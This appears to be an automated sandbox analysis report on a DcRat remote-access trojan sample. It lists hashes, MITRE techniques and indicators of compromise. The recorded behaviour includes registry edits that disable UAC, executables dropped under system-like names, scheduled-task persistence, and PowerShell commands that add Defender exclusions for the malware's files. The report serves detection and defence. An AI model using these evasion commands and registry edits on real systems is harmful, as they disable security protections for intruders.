dcrat | 58632a78f9a4c8286797ccfc8aa291bc8f327ee9d9953fa8253f209f7f43e524

Analysis

max time kernel
151s
max time network
41s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
02/10/2022, 00:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
290385f5aeb6d5794123947447a9000e.exe
Size 2.9MB
Sample221002-aq69ysdfa6
SHA256 58632a78f9a4c8286797ccfc8aa291bc8f327ee9d9953fa8253f209f7f43e524
MD5 290385f5aeb6d5794123947447a9000e
SHA1 c5f54abd2c44e8e68ddef5050311d8cbbe9494f4
SHA512 ead58b079307cfd1a4eb0ec81cc1ae4de844439d4b38326975ceedf11e52e32ec51801dcc75d5a2c802be8050ecf5618393a4a6d1a24fac006b5fd3ea2b88f43
SSDEEP 49152:HSWEaekAlA+IVIdhgSUVCbw488TdiCsUKpXQDZXz95zhoMtUUTlAcuEckri:yWEv1HUYXArxpXgX55z+MtRAcu9kri
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

dcrat evasion infostealer rat trojan

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Process spawned unexpected child process 57 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	604	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1640	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	812	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1400	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1288	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1972	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1296	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1104	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1992	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1328	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1376	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1388	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1764	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1744	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1380	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1504	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1552	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1956	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1568	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1456	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	912	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	572	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1588	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1884	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1756	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1340	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1556	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	868	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1996	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1464	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1532	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1008	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	812	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1300	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	968	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1932	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1304	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1064	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	428	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2064	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2088	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2112	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2136	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2160	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2176	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2204	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2232	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2252	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2272	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2296	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2316	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2340	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2364	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2384	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2408	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2432	520	schtasks.exe	27
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2452	520	schtasks.exe	27

UAC bypass 3 TTPs 6 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	taskhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	taskhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	290385f5aeb6d5794123947447a9000e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	290385f5aeb6d5794123947447a9000e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	290385f5aeb6d5794123947447a9000e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	taskhost.exe

DCRat payload 4 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/memory/1164-54-0x0000000001230000-0x000000000151C000-memory.dmp	dcrat
behavioral1/files/0x00070000000141f2-141.dat	dcrat
behavioral1/files/0x00070000000141f2-140.dat	dcrat
behavioral1/memory/1008-142-0x0000000001010000-0x00000000012FC000-memory.dmp	dcrat

Executes dropped EXE 1 IoCs

pid	Process
1008	taskhost.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	290385f5aeb6d5794123947447a9000e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	290385f5aeb6d5794123947447a9000e.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	taskhost.exe

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Windows Photo Viewer\es-ES\lsm.exe	290385f5aeb6d5794123947447a9000e.exe
File created	C:\Program Files (x86)\Windows Photo Viewer\es-ES\101b941d020240	290385f5aeb6d5794123947447a9000e.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\es-ES\css\csrss.exe	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Program Files (x86)\Windows Photo Viewer\es-ES\RCXE799.tmp	290385f5aeb6d5794123947447a9000e.exe
File created	C:\Program Files\Internet Explorer\images\27d1bcfc3c54e0	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Program Files (x86)\Uninstall Information\RCXF82E.tmp	290385f5aeb6d5794123947447a9000e.exe
File created	C:\Program Files (x86)\Uninstall Information\System.exe	290385f5aeb6d5794123947447a9000e.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\es-ES\css\886983d96e3d3e	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Program Files (x86)\Windows Photo Viewer\es-ES\lsm.exe	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Program Files (x86)\Uninstall Information\System.exe	290385f5aeb6d5794123947447a9000e.exe
File created	C:\Program Files\Internet Explorer\images\System.exe	290385f5aeb6d5794123947447a9000e.exe
File created	C:\Program Files (x86)\Uninstall Information\27d1bcfc3c54e0	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Program Files\Internet Explorer\images\RCXEFE4.tmp	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Program Files\Internet Explorer\images\System.exe	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\es-ES\css\RCX4B66.tmp	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\es-ES\css\csrss.exe	290385f5aeb6d5794123947447a9000e.exe

Drops file in Windows directory 20 IoCs

description	ioc	Process
File created	C:\Windows\Downloaded Program Files\b75386f1303e64	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Windows\Speech\Engines\RCX110E.tmp	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Windows\tracing\csrss.exe	290385f5aeb6d5794123947447a9000e.exe
File created	C:\Windows\L2Schemas\6cb0b6c459d5d3	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Windows\L2Schemas\RCX79.tmp	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Windows\Downloaded Program Files\taskhost.exe	290385f5aeb6d5794123947447a9000e.exe
File created	C:\Windows\IME\fr-FR\6203df4a6bafc7	290385f5aeb6d5794123947447a9000e.exe
File created	C:\Windows\Downloaded Program Files\taskhost.exe	290385f5aeb6d5794123947447a9000e.exe
File created	C:\Windows\tracing\csrss.exe	290385f5aeb6d5794123947447a9000e.exe
File created	C:\Windows\IME\fr-FR\lsass.exe	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Windows\Downloaded Program Files\RCX1959.tmp	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Windows\IME\fr-FR\RCX3AD1.tmp	290385f5aeb6d5794123947447a9000e.exe
File created	C:\Windows\L2Schemas\dwm.exe	290385f5aeb6d5794123947447a9000e.exe
File created	C:\Windows\Speech\Engines\6cb0b6c459d5d3	290385f5aeb6d5794123947447a9000e.exe
File created	C:\Windows\tracing\886983d96e3d3e	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Windows\L2Schemas\dwm.exe	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Windows\Speech\Engines\dwm.exe	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Windows\tracing\RCX3287.tmp	290385f5aeb6d5794123947447a9000e.exe
File opened for modification	C:\Windows\IME\fr-FR\lsass.exe	290385f5aeb6d5794123947447a9000e.exe
File created	C:\Windows\Speech\Engines\dwm.exe	290385f5aeb6d5794123947447a9000e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 57 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
428	schtasks.exe
2160	schtasks.exe
1640	schtasks.exe
1464	schtasks.exe
1532	schtasks.exe
2064	schtasks.exe
2384	schtasks.exe
1552	schtasks.exe
1400	schtasks.exe
1456	schtasks.exe
1996	schtasks.exe
2136	schtasks.exe
2252	schtasks.exe
2432	schtasks.exe
1296	schtasks.exe
1388	schtasks.exe
2364	schtasks.exe
2452	schtasks.exe
1376	schtasks.exe
1744	schtasks.exe
572	schtasks.exe
1340	schtasks.exe
1288	schtasks.exe
1504	schtasks.exe
1300	schtasks.exe
2232	schtasks.exe
2340	schtasks.exe
1992	schtasks.exe
1756	schtasks.exe
868	schtasks.exe
968	schtasks.exe
1064	schtasks.exe
2272	schtasks.exe
2296	schtasks.exe
812	schtasks.exe
1884	schtasks.exe
1104	schtasks.exe
1328	schtasks.exe
1588	schtasks.exe
2408	schtasks.exe
1556	schtasks.exe
2176	schtasks.exe
1380	schtasks.exe
1956	schtasks.exe
1568	schtasks.exe
812	schtasks.exe
1932	schtasks.exe
1304	schtasks.exe
2204	schtasks.exe
2316	schtasks.exe
604	schtasks.exe
1972	schtasks.exe
1008	schtasks.exe
2088	schtasks.exe
2112	schtasks.exe
1764	schtasks.exe
912	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe
1164	290385f5aeb6d5794123947447a9000e.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1164	290385f5aeb6d5794123947447a9000e.exe
Token: SeDebugPrivilege	1008	taskhost.exe

Suspicious use of WriteProcessMemory 63 IoCs

description	pid	Process	procid_target
PID 1164 wrote to memory of 2488	1164	290385f5aeb6d5794123947447a9000e.exe	85
PID 1164 wrote to memory of 2488	1164	290385f5aeb6d5794123947447a9000e.exe	85
PID 1164 wrote to memory of 2488	1164	290385f5aeb6d5794123947447a9000e.exe	85
PID 1164 wrote to memory of 2500	1164	290385f5aeb6d5794123947447a9000e.exe	86
PID 1164 wrote to memory of 2500	1164	290385f5aeb6d5794123947447a9000e.exe	86
PID 1164 wrote to memory of 2500	1164	290385f5aeb6d5794123947447a9000e.exe	86
PID 1164 wrote to memory of 2520	1164	290385f5aeb6d5794123947447a9000e.exe	88
PID 1164 wrote to memory of 2520	1164	290385f5aeb6d5794123947447a9000e.exe	88
PID 1164 wrote to memory of 2520	1164	290385f5aeb6d5794123947447a9000e.exe	88
PID 1164 wrote to memory of 2544	1164	290385f5aeb6d5794123947447a9000e.exe	90
PID 1164 wrote to memory of 2544	1164	290385f5aeb6d5794123947447a9000e.exe	90
PID 1164 wrote to memory of 2544	1164	290385f5aeb6d5794123947447a9000e.exe	90
PID 1164 wrote to memory of 2568	1164	290385f5aeb6d5794123947447a9000e.exe	92
PID 1164 wrote to memory of 2568	1164	290385f5aeb6d5794123947447a9000e.exe	92
PID 1164 wrote to memory of 2568	1164	290385f5aeb6d5794123947447a9000e.exe	92
PID 1164 wrote to memory of 2604	1164	290385f5aeb6d5794123947447a9000e.exe	94
PID 1164 wrote to memory of 2604	1164	290385f5aeb6d5794123947447a9000e.exe	94
PID 1164 wrote to memory of 2604	1164	290385f5aeb6d5794123947447a9000e.exe	94
PID 1164 wrote to memory of 2672	1164	290385f5aeb6d5794123947447a9000e.exe	97
PID 1164 wrote to memory of 2672	1164	290385f5aeb6d5794123947447a9000e.exe	97
PID 1164 wrote to memory of 2672	1164	290385f5aeb6d5794123947447a9000e.exe	97
PID 1164 wrote to memory of 2696	1164	290385f5aeb6d5794123947447a9000e.exe	98
PID 1164 wrote to memory of 2696	1164	290385f5aeb6d5794123947447a9000e.exe	98
PID 1164 wrote to memory of 2696	1164	290385f5aeb6d5794123947447a9000e.exe	98
PID 1164 wrote to memory of 2764	1164	290385f5aeb6d5794123947447a9000e.exe	100
PID 1164 wrote to memory of 2764	1164	290385f5aeb6d5794123947447a9000e.exe	100
PID 1164 wrote to memory of 2764	1164	290385f5aeb6d5794123947447a9000e.exe	100
PID 1164 wrote to memory of 2808	1164	290385f5aeb6d5794123947447a9000e.exe	101
PID 1164 wrote to memory of 2808	1164	290385f5aeb6d5794123947447a9000e.exe	101
PID 1164 wrote to memory of 2808	1164	290385f5aeb6d5794123947447a9000e.exe	101
PID 1164 wrote to memory of 2864	1164	290385f5aeb6d5794123947447a9000e.exe	103
PID 1164 wrote to memory of 2864	1164	290385f5aeb6d5794123947447a9000e.exe	103
PID 1164 wrote to memory of 2864	1164	290385f5aeb6d5794123947447a9000e.exe	103
PID 1164 wrote to memory of 2916	1164	290385f5aeb6d5794123947447a9000e.exe	105
PID 1164 wrote to memory of 2916	1164	290385f5aeb6d5794123947447a9000e.exe	105
PID 1164 wrote to memory of 2916	1164	290385f5aeb6d5794123947447a9000e.exe	105
PID 1164 wrote to memory of 2984	1164	290385f5aeb6d5794123947447a9000e.exe	108
PID 1164 wrote to memory of 2984	1164	290385f5aeb6d5794123947447a9000e.exe	108
PID 1164 wrote to memory of 2984	1164	290385f5aeb6d5794123947447a9000e.exe	108
PID 1164 wrote to memory of 3040	1164	290385f5aeb6d5794123947447a9000e.exe	110
PID 1164 wrote to memory of 3040	1164	290385f5aeb6d5794123947447a9000e.exe	110
PID 1164 wrote to memory of 3040	1164	290385f5aeb6d5794123947447a9000e.exe	110
PID 1164 wrote to memory of 2076	1164	290385f5aeb6d5794123947447a9000e.exe	112
PID 1164 wrote to memory of 2076	1164	290385f5aeb6d5794123947447a9000e.exe	112
PID 1164 wrote to memory of 2076	1164	290385f5aeb6d5794123947447a9000e.exe	112
PID 1164 wrote to memory of 1972	1164	290385f5aeb6d5794123947447a9000e.exe	113
PID 1164 wrote to memory of 1972	1164	290385f5aeb6d5794123947447a9000e.exe	113
PID 1164 wrote to memory of 1972	1164	290385f5aeb6d5794123947447a9000e.exe	113
PID 1164 wrote to memory of 2192	1164	290385f5aeb6d5794123947447a9000e.exe	116
PID 1164 wrote to memory of 2192	1164	290385f5aeb6d5794123947447a9000e.exe	116
PID 1164 wrote to memory of 2192	1164	290385f5aeb6d5794123947447a9000e.exe	116
PID 1164 wrote to memory of 1296	1164	290385f5aeb6d5794123947447a9000e.exe	118
PID 1164 wrote to memory of 1296	1164	290385f5aeb6d5794123947447a9000e.exe	118
PID 1164 wrote to memory of 1296	1164	290385f5aeb6d5794123947447a9000e.exe	118
PID 1164 wrote to memory of 1928	1164	290385f5aeb6d5794123947447a9000e.exe	120
PID 1164 wrote to memory of 1928	1164	290385f5aeb6d5794123947447a9000e.exe	120
PID 1164 wrote to memory of 1928	1164	290385f5aeb6d5794123947447a9000e.exe	120
PID 1164 wrote to memory of 2332	1164	290385f5aeb6d5794123947447a9000e.exe	122
PID 1164 wrote to memory of 2332	1164	290385f5aeb6d5794123947447a9000e.exe	122
PID 1164 wrote to memory of 2332	1164	290385f5aeb6d5794123947447a9000e.exe	122
PID 1164 wrote to memory of 1008	1164	290385f5aeb6d5794123947447a9000e.exe	125
PID 1164 wrote to memory of 1008	1164	290385f5aeb6d5794123947447a9000e.exe	125
PID 1164 wrote to memory of 1008	1164	290385f5aeb6d5794123947447a9000e.exe	125

System policy modification 1 TTPs 6 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	290385f5aeb6d5794123947447a9000e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	taskhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	taskhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	taskhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	290385f5aeb6d5794123947447a9000e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	290385f5aeb6d5794123947447a9000e.exe

C:\Users\Admin\AppData\Local\Temp\290385f5aeb6d5794123947447a9000e.exe
"C:\Users\Admin\AppData\Local\Temp\290385f5aeb6d5794123947447a9000e.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\290385f5aeb6d5794123947447a9000e.exe'
  2⤵
  PID:2488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Music\smss.exe'
  2⤵
  PID:2500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\lsass.exe'
  2⤵
  PID:2520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\csrss.exe'
  2⤵
  PID:2544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\WMIADAP.exe'
  2⤵
  PID:2568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Music\Idle.exe'
  2⤵
  PID:2604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\d6223342-1a8a-11ed-b209-a59dca5554ed\dwm.exe'
  2⤵
  PID:2672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Photo Viewer\es-ES\lsm.exe'
  2⤵
  PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Internet Explorer\images\System.exe'
  2⤵
  PID:2764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Uninstall Information\System.exe'
  2⤵
  PID:2808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\L2Schemas\dwm.exe'
  2⤵
  PID:2864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\csrss.exe'
  2⤵
  PID:2916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Speech\Engines\dwm.exe'
  2⤵
  PID:2984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Downloaded Program Files\taskhost.exe'
  2⤵
  PID:3040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\csrss.exe'
  2⤵
  PID:2076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Idle.exe'
  2⤵
  PID:1972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\tracing\csrss.exe'
  2⤵
  PID:2192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\IME\fr-FR\lsass.exe'
  2⤵
  PID:1296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\1033\explorer.exe'
  2⤵
  PID:1928
